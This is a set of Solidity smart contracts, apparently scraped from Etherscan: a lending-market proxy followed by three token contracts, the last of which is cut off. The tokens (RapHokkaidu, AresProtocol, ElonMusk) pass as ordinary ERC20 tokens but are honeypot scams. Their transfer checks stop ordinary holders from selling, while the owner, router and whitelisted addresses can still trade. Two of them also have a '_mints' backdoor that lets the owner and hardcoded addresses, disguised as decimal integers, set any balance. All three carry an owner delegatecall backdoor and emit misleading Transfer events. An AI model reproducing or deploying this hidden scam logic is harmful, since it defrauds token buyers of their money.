function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName;
uint256 constant unifiedPoint = 10 ** 18;
uint256 unifiedTokenDecimal = 10 ** 18;
uint256 underlyingTokenDecimal;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
IERC20 erc20Instance;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
erc20Instance = IERC20(erc20Addr);
tokenName = _tokenName;
SI = siHandlerAddr;
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address target) onlyOwner public returns (bool)
{
uint256 balance = erc20Instance.balanceOf(address(this));
erc20Instance.transfer(target, balance);
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract LinkHandlerProxy is proxy {
constructor()
proxy() public {}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-22
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RapHokkaidu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract AresProtocol {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract ElonMusk {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
